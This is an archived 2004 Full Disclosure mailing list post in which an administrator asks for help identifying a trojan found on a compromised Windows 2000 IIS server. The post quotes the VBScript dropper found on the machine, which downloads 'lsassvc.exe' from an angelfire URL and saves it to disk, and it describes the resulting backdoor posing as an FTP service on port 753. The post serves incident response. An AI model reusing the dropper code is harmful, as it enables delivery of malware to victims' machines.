Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Need help to identify a trojan
From: "Maxime Ducharme" <mducharme () cybergeneration com>
Date: Fri, 9 Jul 2004 09:34:27 -0400

Hi to the list,
    one of our customer's servers have been compromised and I'd
need help to identify trojan used.

Here is the server's setup :
- Windows 2000 OS
(2 updates missing, KB870669 and KB839643)
- IIS 5.0 running with ASP applications
- Serv-U FTP Server v4.0
- not firewalled ... :(

I first found a file named "blabla.vbs" in C:\ which contains this
script :
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.angelfire.com/comics/mumucake/lsassvc.exe",0
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.SaveToFile "lsassvc.exe",2

The lsassvc.exe is still on angelfire's web server, and I mirrored it
here :

This file is bound to TCP port 753, and a connection on this
port output this :
220 jsdaus Microsoft FTP Service (Version 5.0)

Looks like a "special" FTP service. The program answers my "USER"
and "PASS" commands :
USER test
< 331 Password required for test.
PASS test
< 530 Login incorrect.

It is also bound on a service name "Local Security Authority Service

Norton says this file is not infected, but it looks really suspicious, we
already shut down the server for analysis. It has been used for scanning.

Other hack tools have been found under C:\RECYCLER\speedy.

I'd like to know which kind of trojan it is, and if it has self-propagating
behavior like some Ago-Gaobot.

Thx for any help

Maxime Ducharme
Programmeur / Spécialiste en sécurité réseau

Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

  By Date           By Thread  

Current thread:
  • Need help to identify a trojan Maxime Ducharme (Jul 09)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]